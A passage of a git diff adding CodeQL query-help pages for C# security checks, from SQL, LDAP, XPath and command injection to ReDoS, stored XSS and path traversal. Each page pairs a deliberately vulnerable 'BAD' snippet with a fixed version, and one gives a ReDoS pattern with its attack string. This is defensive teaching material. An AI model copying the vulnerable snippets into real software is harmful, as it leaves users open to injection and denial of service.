badInlineSettings); + + // GOOD: User provided XML is processed with validation + XmlReaderSettings goodSettings = new XmlReaderSettings(); + goodSettings.ValidationType = ValidationType.Schema; + goodSettings.Schemas = new XmlSchemaSet() { { "urn:my-schema", "my.xsd" } }; + XmlReader.Create(new StringReader(userProvidedXml), goodSettings); + } +} + +``` + +## References +* Microsoft: [XML Schema (XSD) Validation with XmlSchemaSet](https://msdn.microsoft.com/en-us/library/3740e0b5(v=vs.110).aspx). +* Common Weakness Enumeration: [CWE-112](https://cwe.mitre.org/data/definitions/112.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/PasswordInConfigurationFile.md b/docs/language/query-help/csharp/PasswordInConfigurationFile.md new file mode 100644 index 00000000000..b3fac74af7a --- /dev/null +++ b/docs/language/query-help/csharp/PasswordInConfigurationFile.md @@ -0,0 +1,23 @@ +# Password in configuration file + +``` +ID: cs/password-in-configuration +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-13 external/cwe/cwe-256 external/cwe/cwe-313 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Configuration/PasswordInConfigurationFile.ql) + +Storing a plaintext password in a configuration file allows anyone who can read the file to access the password-protected resources. Therefore it is a common attack vector. + + +## Recommendation +Passwords stored in configuration files should be encrypted. + + +## References +* Common Weakness Enumeration: [CWE-13](https://cwe.mitre.org/data/definitions/13.html). +* Common Weakness Enumeration: [CWE-256](https://cwe.mitre.org/data/definitions/256.html). +* Common Weakness Enumeration: [CWE-313](https://cwe.mitre.org/data/definitions/313.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/PersistentCookie.md b/docs/language/query-help/csharp/PersistentCookie.md new file mode 100644 index 00000000000..abdc3fdb7e5 --- /dev/null +++ b/docs/language/query-help/csharp/PersistentCookie.md @@ -0,0 +1,21 @@ +# Cookie security: persistent cookie + +``` +ID: cs/web/persistent-cookie +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-539 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/PersistentCookie.ql) + +This rule finds cookies that are made to expire in more than 5 minutes from now. Cookies are usually non-persistent, in which case they reside in the browser's memory only. However, by setting an expiration date in the future, cookies can be made persistent and are then written to disk to survive the browser restarts. If a persistent cookie is set to expire in a fairly distant future, it is easier for an attacker to steal its data. + + +## Recommendation +Do not put sensitive information in persistent cookies. + + +## References +* Common Weakness Enumeration: [CWE-539](https://cwe.mitre.org/data/definitions/539.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ReDoS.md b/docs/language/query-help/csharp/ReDoS.md new file mode 100644 index 00000000000..2687d28e5a5 --- /dev/null +++ b/docs/language/query-help/csharp/ReDoS.md @@ -0,0 +1,57 @@ +# Denial of Service from comparison of user input against expensive regex + +``` +ID: cs/redos +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-730 external/cwe/cwe-400 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-730/ReDoS.ql) + +Matching user input against a regular expression which takes exponential time in the worst case can allow a malicious user to perform a Denial of Service ("DoS") attack by crafting input that takes a long time to execute. + +Most regular expression engines, including the C# standard library implementation, are designed to work with an extended regular expression syntax. Although this provides flexibility for the user, it can prevent the engine from constructing an efficient implementation of the matcher in all circumstances. In particular, the "worst case time complexity" (see the references) of certain regular expressions may be "exponential". This would allow a malicious user to provide some input which causes the regular expression to take a very long time to execute. + +Typically, a regular expression is vulnerable to this attack if it applies repetition to a sub-expression which itself is repeated, or contains overlapping options. For example, `(a+)+` is vulnerable to a string such as `aaaaaaaaaaaaaaaaaaaaaaaaaaab`. More information about the precise circumstances can be found in the references. + + +## Recommendation +Modify the regular expression to avoid the exponential worst case time. If this is not possible, then a timeout should be used to avoid a denial of service. For C# applications, a timeout can be provided to the `Regex` constructor. Alternatively, apply a global timeout by setting the `REGEX_DEFAULT_MATCH_TIMEOUT` application domain property, using the `AppDomain.SetData` method. + + +## Example +The following example shows a HTTP request parameter that is matched against a regular expression which has exponential worst case performance. In the first case, it is matched without a timeout, which can lead to a denial of service. In the second case, a timeout is used to cancel the evaluation of the regular expression after 1 second. + + +```csharp +using System; +using System.Web; +using System.Text.RegularExpressions; + +public class ReDoSHandler : IHttpHandler +{ + + public void ProcessRequest(HttpContext ctx) + { + string userInput = ctx.Request.QueryString["userInput"]; + + // BAD: User input is matched against a regex with exponential worst case behavior + new Regex("^([a-z]*)*$").Match(userInput); + + // GOOD: Regex is given a timeout to avoid DoS + new Regex("^([a-z]*)*$", + RegexOptions.IgnoreCase, + TimeSpan.FromSeconds(1)).Match(userInput); + } +} + +``` + +## References +* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS). +* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS). +* Wikipedia: [Time complexity](https://en.wikipedia.org/wiki/Time_complexity). +* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html). +* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/RegexInjection.md b/docs/language/query-help/csharp/RegexInjection.md new file mode 100644 index 00000000000..2d9f59c40fa --- /dev/null +++ b/docs/language/query-help/csharp/RegexInjection.md @@ -0,0 +1,56 @@ +# Regular expression injection + +``` +ID: cs/regex-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-730 external/cwe/cwe-400 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-730/RegexInjection.ql) + +Constructing a regular expression with unsanitized user input is dangerous as a malicious user may be able to modify the meaning of the expression. In particular, such a user may be able to provide a regular expression fragment that takes exponential time in the worst case, and use that to perform a Denial of Service attack. + + +## Recommendation +For user input that is intended to be referenced as a string literal in a regular expression, use the `Regex.Escape` method to escape any special characters. If the regular expression is intended to be configurable by the user, then a timeout should be used to avoid Denial of Service attacks. For C# applications, a timeout can be provided to the `Regex` constructor. Alternatively, apply a global timeout by setting the `REGEX_DEFAULT_MATCH_TIMEOUT` application domain property, using the `AppDomain.SetData` method. + + +## Example +The following example shows a HTTP request parameter that is used as a regular expression, and matched against another request parameter. + +In the first case, the regular expression is used without a timeout, and the user-provided regex is not escaped. If a malicious user provides a regex that has exponential worst case performance, then this could lead to a Denial of Service. + +In the second case, the user input is escaped using `Regex.Escape` before being included in the regular expression. This ensures that the user cannot insert characters which have a special meaning in regular expressions. + + +```csharp +using System; +using System.Web; +using System.Text.RegularExpressions; + +public class RegexInjectionHandler : IHttpHandler +{ + + public void ProcessRequest(HttpContext ctx) + { + string name = ctx.Request.QueryString["name"]; + string userInput = ctx.Request.QueryString["userInput"]; + + // BAD: Unsanitized user input is used to construct a regular expression + new Regex("^" + name + "=.*$").Match(userInput); + + // GOOD: User input is sanitized before constructing the regex + string safeName = Regex.Escape(name); + new Regex("^" + safeName + "=.*$").Match(userInput); + } +} + +``` + +## References +* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS). +* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS). +* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html). +* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/RequireSSL.md b/docs/language/query-help/csharp/RequireSSL.md new file mode 100644 index 00000000000..465ba0050c2 --- /dev/null +++ b/docs/language/query-help/csharp/RequireSSL.md @@ -0,0 +1,46 @@ +# 'requireSSL' attribute is not set to true + +``` +ID: cs/web/requiressl-not-set +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-319 external/cwe/cwe-614 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-614/RequireSSL.ql) + +Sensitive data that is transmitted using HTTP is vulnerable to being read by a third party. By default, web forms and cookies are sent via HTTP, not HTTPS. This setting can be changed by setting the `requireSSL` attribute to `"true"` in `Web.config`. + + +## Recommendation +When using web forms, ensure that `Web.config` contains a `` element with the attribute `requireSSL="true"`. + +When using cookies, ensure that SSL is used, either via the `` attribute above, or the `` element, with the attribute `requireSSL="true"`. It is also possible to require cookies to use SSL programmatically, by setting the property `System.Web.HttpCookie.Secure` to `true`. + + +## Example +The following example shows where to specify `requireSSL="true"` in a `Web.config` file. + + +```none + + + + + + + + + + +``` + +## References +* MSDN: [HttpCookie.Secure Property](https://msdn.microsoft.com/en-us/library/system.web.httpcookie.secure(v=vs.110).aspx), [FormsAuthentication.RequireSSL Property](https://msdn.microsoft.com/en-us/library/system.web.security.formsauthentication.requiressl(v=vs.110).aspx), [forms Element for authentication](https://msdn.microsoft.com/en-us/library/1d3t3c61(v=vs.100).aspx), [httpCookies Element](https://msdn.microsoft.com/library/ms228262%28v=vs.100%29.aspx). +* Common Weakness Enumeration: [CWE-319](https://cwe.mitre.org/data/definitions/319.html). +* Common Weakness Enumeration: [CWE-614](https://cwe.mitre.org/data/definitions/614.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ResourceInjection.md b/docs/language/query-help/csharp/ResourceInjection.md new file mode 100644 index 00000000000..590eadb0a71 --- /dev/null +++ b/docs/language/query-help/csharp/ResourceInjection.md @@ -0,0 +1,59 @@ +# Resource injection + +``` +ID: cs/resource-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-099 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-099/ResourceInjection.ql) + +If a resource descriptor is built using string concatenation, and the components of the concatenation include user input, a user may be able to hijack the resource which is loaded. + + +## Recommendation +If user input must be included in a resource descriptor, it should be escaped to avoid a malicious user providing special characters that change the meaning of the descriptor. If possible, use an existing library to either escape or construct the resource. + +For data connections within sub namespaces of `System.Data`, a connection builder class is provided. For example, a connection string which is to be passed to `System.Data.SqlClient.SqlConnection` can be constructed safely using an instance of `System.Data.SqlClient.SqlConnectionStringBuilder`. + + +## Example +In the following examples, the code accepts a user name from the user, which it uses to create a connection string for an SQL database. + +The first example concatenates the unvalidated and unencoded user input directly into the connection string. A malicious user could provide special characters to change the meaning of the connection string, and connect to a completely different server. + +The second example uses the `SqlConnectionStringBuilder` to construct the connection string and therefore prevents a malicious user modifying the meaning of the connection string. + + +```csharp +using System.Data.SqlClient; +using System.Web; + +public class ResourceInjectionHandler : IHttpHandler +{ + public void ProcessRequest(HttpContext ctx) + { + string userName = ctx.Request.QueryString["userName"]; + + // BAD: Direct use of user input in a connection string passed to SqlConnection + string connectionString = "server=(local);user id=" + userName + ";password= pass;"; + SqlConnection sqlConnectionBad = new SqlConnection(connectionString); + + // GOOD: Use SqlConnectionStringBuilder to safely include user input in a connection string + SqlConnectionStringBuilder builder = new SqlConnectionStringBuilder(); + builder["Data Source"] = "(local)"; + builder["integrated Security"] = true; + builder["user id"] = userName; + SqlConnection sqlConnectionGood = new SqlConnection(builder.ConnectionString); + } +} + +``` + +## References +* OWASP: [Resource Injection](https://www.owasp.org/index.php/Resource_Injection). +* MSDN: [Building Connection Strings](https://msdn.microsoft.com/en-us/library/ms254947(v=vs.80).aspx). +* MSDN: [Securing Connection Strings](https://msdn.microsoft.com/en-us/library/89211k9b(VS.80).aspx). +* Common Weakness Enumeration: [CWE-99](https://cwe.mitre.org/data/definitions/99.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/RuntimeChecksBypass.md b/docs/language/query-help/csharp/RuntimeChecksBypass.md new file mode 100644 index 00000000000..9a6dac1ba9f --- /dev/null +++ b/docs/language/query-help/csharp/RuntimeChecksBypass.md @@ -0,0 +1,83 @@ +# Serialization check bypass + +``` +ID: cs/serialization-check-bypass +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-20 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-020/RuntimeChecksBypass.ql) + +Fields that are deserialized should be validated, otherwise the deserialized object could contain invalid data. + +This query finds cases where a field is validated in a constructor, but not in a deserialization method. This is an indication that the deserialization method is missing a validation step. + + +## Recommendation +If a field needs to be validated, then ensure that validation is also performed during deserialization. + + +## Example +The following example has the validation of the `Age` field in the constructor but not in the deserialization method: + + +```csharp +using System; +using System.Runtime.Serialization; + +[Serializable] +public class PersonBad : ISerializable +{ + public int Age; + + public PersonBad(int age) + { + if (age < 0) + throw new ArgumentException(nameof(age)); + Age = age; + } + + [OnDeserializing] + void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context) + { + Age = info.GetInt32("age"); // BAD - write is unsafe + } +} + +``` +The problem is fixed by adding validation to the deserialization method as follows: + + +```csharp +using System; +using System.Runtime.Serialization; + +[Serializable] +public class PersonGood : ISerializable +{ + public int Age; + + public PersonGood(int age) + { + if (age < 0) + throw new ArgumentException(nameof(age)); + Age = age; + } + + [OnDeserializing] + void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context) + { + int age = info.GetInt32("age"); + if (age < 0) + throw new SerializationException(nameof(Age)); + Age = age; // GOOD - write is safe + } +} + +``` + +## References +* OWASP: [Data Validation](https://www.owasp.org/index.php/Data_Validation). +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/SecondOrderSqlInjection.md b/docs/language/query-help/csharp/SecondOrderSqlInjection.md new file mode 100644 index 00000000000..c14350dc8ad --- /dev/null +++ b/docs/language/query-help/csharp/SecondOrderSqlInjection.md @@ -0,0 +1,86 @@ +# SQL query built from stored user-controlled sources + +``` +ID: cs/second-order-sql-injection +Kind: path-problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-089 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-089/SecondOrderSqlInjection.ql) + +If a SQL query is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to run malicious database queries. + + +## Recommendation +Usually, it is better to use a prepared statement than to build a complete query with string concatenation. A prepared statement can include a parameter, written as either a question mark (`?`) or with an explicit name (`@parameter`), for each part of the SQL query that is expected to be filled in by a different value each time it is run. When the query is later executed, a value must be supplied for each parameter in the query. + +It is good practice to use prepared statements for supplying parameters to a query, whether or not any of the parameters are directly traceable to user input. Doing so avoids any need to worry about quoting and escaping. + + +## Example +In the following example, the code runs a simple SQL query in three different ways. + +The first way involves building a query, `query1`, by concatenating a user-supplied text box value with some string literals. The text box value can include special characters, so this code allows for SQL injection attacks. + +The second way uses a stored procedure, `ItemsStoredProcedure`, with a single parameter (`@category`). The parameter is then given a value by calling `Parameters.Add`. This version is immune to injection attacks, because any special characters are not given any special treatment. + +The third way builds a query, `query2`, with a single string literal that includes a parameter (`@category`). The parameter is then given a value by calling `Parameters.Add`. This version is immune to injection attacks, because any special characters are not given any special treatment. + + +```csharp +using System.Data; +using System.Data.SqlClient; +using System.Web.UI.WebControls; + +class SqlInjection +{ + TextBox categoryTextBox; + string connectionString; + + public DataSet GetDataSetByCategory() + { + // BAD: the category might have SQL special characters in it + using (var connection = new SqlConnection(connectionString)) + { + var query1 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + + categoryTextBox.Text + "' ORDER BY PRICE"; + var adapter = new SqlDataAdapter(query1, connection); + var result = new DataSet(); + adapter.Fill(result); + return result; + } + + // GOOD: use parameters with stored procedures + using (var connection = new SqlConnection(connectionString)) + { + var adapter = new SqlDataAdapter("ItemsStoredProcedure", connection); + adapter.SelectCommand.CommandType = CommandType.StoredProcedure; + var parameter = new SqlParameter("category", categoryTextBox.Text); + adapter.SelectCommand.Parameters.Add(parameter); + var result = new DataSet(); + adapter.Fill(result); + return result; + } + + // GOOD: use parameters with dynamic SQL + using (var connection = new SqlConnection(connectionString)) + { + var query2 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=" + + "@category ORDER BY PRICE"; + var adapter = new SqlDataAdapter(query2, connection); + var parameter = new SqlParameter("category", categoryTextBox.Text); + adapter.SelectCommand.Parameters.Add(parameter); + var result = new DataSet(); + adapter.Fill(result); + return result; + } + } +} + +``` + +## References +* MSDN: [How To: Protect From SQL Injection in ASP.NET](https://msdn.microsoft.com/en-us/library/ff648339.aspx). +* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/SqlInjection.md b/docs/language/query-help/csharp/SqlInjection.md new file mode 100644 index 00000000000..31052c94634 --- /dev/null +++ b/docs/language/query-help/csharp/SqlInjection.md @@ -0,0 +1,86 @@ +# SQL query built from user-controlled sources + +``` +ID: cs/sql-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-089 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-089/SqlInjection.ql) + +If a SQL query is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to run malicious database queries. + + +## Recommendation +Usually, it is better to use a prepared statement than to build a complete query with string concatenation. A prepared statement can include a parameter, written as either a question mark (`?`) or with an explicit name (`@parameter`), for each part of the SQL query that is expected to be filled in by a different value each time it is run. When the query is later executed, a value must be supplied for each parameter in the query. + +It is good practice to use prepared statements for supplying parameters to a query, whether or not any of the parameters are directly traceable to user input. Doing so avoids any need to worry about quoting and escaping. + + +## Example +In the following example, the code runs a simple SQL query in three different ways. + +The first way involves building a query, `query1`, by concatenating a user-supplied text box value with some string literals. The text box value can include special characters, so this code allows for SQL injection attacks. + +The second way uses a stored procedure, `ItemsStoredProcedure`, with a single parameter (`@category`). The parameter is then given a value by calling `Parameters.Add`. This version is immune to injection attacks, because any special characters are not given any special treatment. + +The third way builds a query, `query2`, with a single string literal that includes a parameter (`@category`). The parameter is then given a value by calling `Parameters.Add`. This version is immune to injection attacks, because any special characters are not given any special treatment. + + +```csharp +using System.Data; +using System.Data.SqlClient; +using System.Web.UI.WebControls; + +class SqlInjection +{ + TextBox categoryTextBox; + string connectionString; + + public DataSet GetDataSetByCategory() + { + // BAD: the category might have SQL special characters in it + using (var connection = new SqlConnection(connectionString)) + { + var query1 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + + categoryTextBox.Text + "' ORDER BY PRICE"; + var adapter = new SqlDataAdapter(query1, connection); + var result = new DataSet(); + adapter.Fill(result); + return result; + } + + // GOOD: use parameters with stored procedures + using (var connection = new SqlConnection(connectionString)) + { + var adapter = new SqlDataAdapter("ItemsStoredProcedure", connection); + adapter.SelectCommand.CommandType = CommandType.StoredProcedure; + var parameter = new SqlParameter("category", categoryTextBox.Text); + adapter.SelectCommand.Parameters.Add(parameter); + var result = new DataSet(); + adapter.Fill(result); + return result; + } + + // GOOD: use parameters with dynamic SQL + using (var connection = new SqlConnection(connectionString)) + { + var query2 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=" + + "@category ORDER BY PRICE"; + var adapter = new SqlDataAdapter(query2, connection); + var parameter = new SqlParameter("category", categoryTextBox.Text); + adapter.SelectCommand.Parameters.Add(parameter); + var result = new DataSet(); + adapter.Fill(result); + return result; + } + } +} + +``` + +## References +* MSDN: [How To: Protect From SQL Injection in ASP.NET](https://msdn.microsoft.com/en-us/library/ff648339.aspx). +* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/StoredCommandInjection.md b/docs/language/query-help/csharp/StoredCommandInjection.md new file mode 100644 index 00000000000..bab076e373b --- /dev/null +++ b/docs/language/query-help/csharp/StoredCommandInjection.md @@ -0,0 +1,45 @@ +# Uncontrolled command line from stored user input + +``` +ID: cs/stored-command-line-injection +Kind: path-problem +Severity: error +Precision: medium +Tags: correctness security external/cwe/cwe-078 external/cwe/cwe-088 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-078/StoredCommandInjection.ql) + +Code that passes user input directly to `System.Diagnostic.Process.Start`, or some other library routine that executes a command, allows the user to execute malicious code. + + +## Recommendation +If possible, use hard-coded string literals to specify the command to run or library to load. Instead of passing the user input directly to the process or library function, examine the user input and then choose among hard-coded string literals. + +If the applicable libraries or commands cannot be determined at compile time, then add code to verify that the user input string is safe before using it. + + +## Example +The following example shows code that takes a shell script that can be changed maliciously by a user, and passes it straight to `System.Diagnostic.Process.Start` without examining it first. + + +```csharp +using System; +using System.Web; +using System.Diagnostics; + +public class CommandInjectionHandler : IHttpHandler +{ + public void ProcessRequest(HttpContext ctx) + { + string param = ctx.Request.QueryString["param"]; + Process.Start("process.exe", "/c " + param); + } +} + +``` + +## References +* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). +* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). +* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/StoredLDAPInjection.md b/docs/language/query-help/csharp/StoredLDAPInjection.md new file mode 100644 index 00000000000..cea773faa69 --- /dev/null +++ b/docs/language/query-help/csharp/StoredLDAPInjection.md @@ -0,0 +1,85 @@ +# LDAP query built from stored user-controlled sources + +``` +ID: cs/stored-ldap-injection +Kind: path-problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-090 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-090/StoredLDAPInjection.ql) + +If an LDAP query is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to run malicious LDAP queries. + + +## Recommendation +If user input must be included in an LDAP query, it should be escaped to avoid a malicious user providing special characters that change the meaning of the query. If possible, use an existing library, such as the AntiXSS library. + + +## Example +In the following examples, the code accepts an "organization name" and a "username" from the user, which it uses to query LDAP to access a "type" property. + +The first example concatenates the unvalidated and unencoded user input directly into both the DN (Distinguished Name) and the search filter used for the LDAP query. A malicious user could provide special characters to change the meaning of these queries, and search for a completely different set of values. + +The second example uses the Microsoft AntiXSS library to encode the user values before they are included in the DN and search filters. This ensures the meaning of the query cannot be changed by a malicious user. + + +```csharp +using Microsoft.Security.Application.Encoder +using System; +using System.DirectoryServices; +using System.Web; + +public class LDAPInjectionHandler : IHttpHandler +{ + public void ProcessRequest(HttpContext ctx) + { + string userName = ctx.Request.QueryString["username"]; + string organizationName = ctx.Request.QueryString["organization_name"]; + // BAD: User input used in DN (Distinguished Name) without encoding + string ldapQuery = "LDAP://myserver/OU=People,O=" + organizationName; + using (DirectoryEntry root = new DirectoryEntry(ldapQuery)) + { + // BAD: User input used in search filter without encoding + DirectorySearcher ds = new DirectorySearcher(root, "username=" + userName); + + SearchResult result = ds.FindOne(); + if (result != null) + { + using (DirectoryEntry user = result.getDirectoryEntry()) + { + ctx.Response.Write(user.Properties["type"].Value) + } + } + } + + // GOOD: Organization name is encoded before being used in DN + string safeOrganizationName = Encoder.LdapDistinguishedNameEncode(organizationName); + string safeLDAPQuery = "LDAP://myserver/OU=People,O=" + safeOrganizationName; + using (DirectoryEntry root = new DirectoryEntry(safeLDAPQuery)) + { + // GOOD: User input is encoded before being used in search filter + string safeUserName = Encoder.LdapFilterEncode(userName); + DirectorySearcher ds = new DirectorySearcher(root, "username=" + safeUserName); + + SearchResult result = ds.FindOne(); + if (result != null) + { + using (DirectoryEntry user = result.getDirectoryEntry()) + { + ctx.Response.Write(user.Properties["type"].Value) + } + } + } + } +} + +``` + +## References +* OWASP: [LDAP Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html). +* OWASP: [Preventing LDAP Injection in Java](https://www.owasp.org/index.php/Preventing_LDAP_Injection_in_Java). +* AntiXSS doc: [LdapFilterEncode](http://www.nudoq.org/#!/Packages/AntiXSS/AntiXssLibrary/Encoder/M/LdapFilterEncode). +* AntiXSS doc: [LdapDistinguishedNameEncode](http://www.nudoq.org/#!/Packages/AntiXSS/AntiXssLibrary/Encoder/M/LdapDistinguishedNameEncode). +* Common Weakness Enumeration: [CWE-90](https://cwe.mitre.org/data/definitions/90.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/StoredXPathInjection.md b/docs/language/query-help/csharp/StoredXPathInjection.md new file mode 100644 index 00000000000..53c34f32670 --- /dev/null +++ b/docs/language/query-help/csharp/StoredXPathInjection.md @@ -0,0 +1,64 @@ +# Stored XPath injection + +``` +ID: cs/xml/stored-xpath-injection +Kind: path-problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-643 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-643/StoredXPathInjection.ql) + +If an XPath expression is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to create a malicious XPath expression. + + +## Recommendation +If user input must be included in an XPath expression, pre-compile the query and use variable references to include the user input. + +When using the `System.Xml.XPath` API, this can be done by creating a custom subtype of `System.Xml.Xsl.XsltContext`, and implementing `ResolveVariable(String,?String)` to return the user provided data. This custom context can be specified for a given `XPathExpression` using `XPathExpression.SetContext()`. For more details, see the "User Defined Functions and Variables" webpage in the list of references. + + +## Example +In the first example, the code accepts a user name specified by the user, and uses this unvalidated and unsanitized value in an XPath expression. This is vulnerable to the user providing special characters or string sequences that change the meaning of the XPath expression to search for different values. + +In the second example, the XPath expression is a hard-coded string that specifies some variables, which are safely replaced at runtime using a custom `XsltContext` that looks up the variables in an `XsltArgumentList`. + + +```csharp +using System; +using System.Web; +using System.Xml.XPath; + +public class XPathInjectionHandler : IHttpHandler +{ + public void ProcessRequest(HttpContext ctx) + { + string userName = ctx.Request.QueryString["userName"]; + + // BAD: Use user-provided data directly in an XPath expression + string badXPathExpr = "//users/user[login/text()='" + userName + "']/home_dir/text()"; + XPathExpression.Compile(badXPathExpr); + + // GOOD: XPath expression uses variables to refer to parameters + string xpathExpression = "//users/user[login/text()=$username]/home_dir/text()"; + XPathExpression xpath = XPathExpression.Compile(xpathExpression); + + // Arguments are provided as a XsltArgumentList() + XsltArgumentList varList = new XsltArgumentList(); + varList.AddParam("userName", string.Empty, userName); + + // CustomContext is an application specific class, that looks up variables in the + // expression from the varList. + CustomContext context = new CustomContext(new NameTable(), varList) + xpath.SetContext(context); + } +} + +``` + +## References +* OWASP: [Testing for XPath Injection](https://www.owasp.org/index.php?title=Testing_for_XPath_Injection_(OTG-INPVAL-010)). +* OWASP: [XPath Injection](https://www.owasp.org/index.php/XPATH_Injection). +* MSDN: [User Defined Functions and Variables](https://msdn.microsoft.com/en-us/library/dd567715.aspx). +* Common Weakness Enumeration: [CWE-643](https://cwe.mitre.org/data/definitions/643.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/StoredXSS.md b/docs/language/query-help/csharp/StoredXSS.md new file mode 100644 index 00000000000..8b4dded32fc --- /dev/null +++ b/docs/language/query-help/csharp/StoredXSS.md @@ -0,0 +1,43 @@ +# Stored cross-site scripting + +``` +ID: cs/web/stored-xss +Kind: path-problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-079 external/cwe/cwe-116 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-079/StoredXSS.ql) + +Directly writing user input (for example, an HTTP request parameter) to a webpage, without properly sanitizing the input first, allows for a cross-site scripting vulnerability. + + +## Recommendation +To guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references. + + +## Example +The following example shows the page parameter being written directly to the server error page, leaving the website vulnerable to cross-site scripting. + + +```csharp +using System; +using System.Web; + +public class XSSHandler : IHttpHandler +{ + public void ProcessRequest(HttpContext ctx) + { + ctx.Response.Write( + "The page \"" + ctx.Request.QueryString["page"] + "\" was not found."); + } +} + +``` + +## References +* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). +* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/TaintedPath.md b/docs/language/query-help/csharp/TaintedPath.md new file mode 100644 index 00000000000..a4935bc9743 --- /dev/null +++ b/docs/language/query-help/csharp/TaintedPath.md @@ -0,0 +1,61 @@ +# Uncontrolled data used in path expression + +``` +ID: cs/path-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-022 external/cwe/cwe-023 external/cwe/cwe-036 external/cwe/cwe-073 external/cwe/cwe-099 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-022/TaintedPath.ql) + +Accessing paths controlled by users can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. + +Paths that are naively constructed from data controlled by a user may contain unexpected special characters, such as "..". Such a path may potentially point to any directory on the file system. + + +## Recommendation +Validate user input before using it to construct a file path. Ideally, follow these rules: + +* Do not allow more than a single "." character. +* Do not allow directory separators such as "/" or "\" (depending on the file system). +* Do not rely on simply replacing problematic sequences such as "../". For example, after applying this filter to ".../...//" the resulting string would still be "../". +* Use a whitelist of known good patterns. +* 